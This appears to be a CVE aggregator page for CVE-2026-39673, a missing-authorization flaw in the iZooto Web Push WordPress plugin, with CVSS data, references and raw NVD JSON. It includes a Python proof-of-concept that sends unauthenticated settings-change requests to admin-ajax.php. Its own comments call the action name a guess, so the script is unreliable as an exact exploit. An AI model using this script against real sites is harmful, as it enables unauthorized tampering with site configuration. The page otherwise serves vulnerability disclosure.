CVE-2026-39673

Description

Missing Authorization vulnerability in shrikantkale iZooto izooto-web-push allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects iZooto: from n/a through <= 3.7.20.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

iZooto Web Push <= 3.7.20

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_poC(target_url):
    """
    PoC for CVE-2026-39673: Missing Authorization in iZooto Web Push
    This script attempts to trigger the vulnerable action without authentication.
    """
    # The vulnerable endpoint is typically admin-ajax.php in WordPress
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload targeting the missing authorization check
    # 'action' parameter needs to be specific to the plugin's vulnerable function
    payload = {
        "action": "izooto_save_settings",  # Example action, replace with actual vulnerable action if known
        "data": "malicious_configuration_data"
    }

    try:
        print(f"[*] Sending request to {ajax_url}...")
        response = requests.post(ajax_url, data=payload, timeout=10)
        
        # Check if the response indicates successful modification or execution
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if settings were modified.")
            print(f"[+] Response: {response.text[:200]}")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target = "http://example.com" # Replace with target
    exploit_poC(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39673
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39673
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39673/
[4] VulDB https://vuldb.com/cve/CVE-2026-39673
[5] https://patchstack.com/database/Wordpress/Plugin/izooto-web-push/vulnerability/wordpress-izooto-plugin-3-7-20-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39673", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:38.827", "lastModified": "2026-04-24T18:06:04.160", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in shrikantkale iZooto izooto-web-push allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects iZooto: from n/a through <= 3.7.20."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/izooto-web-push/vulnerability/wordpress-izooto-plugin-3-7-20-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}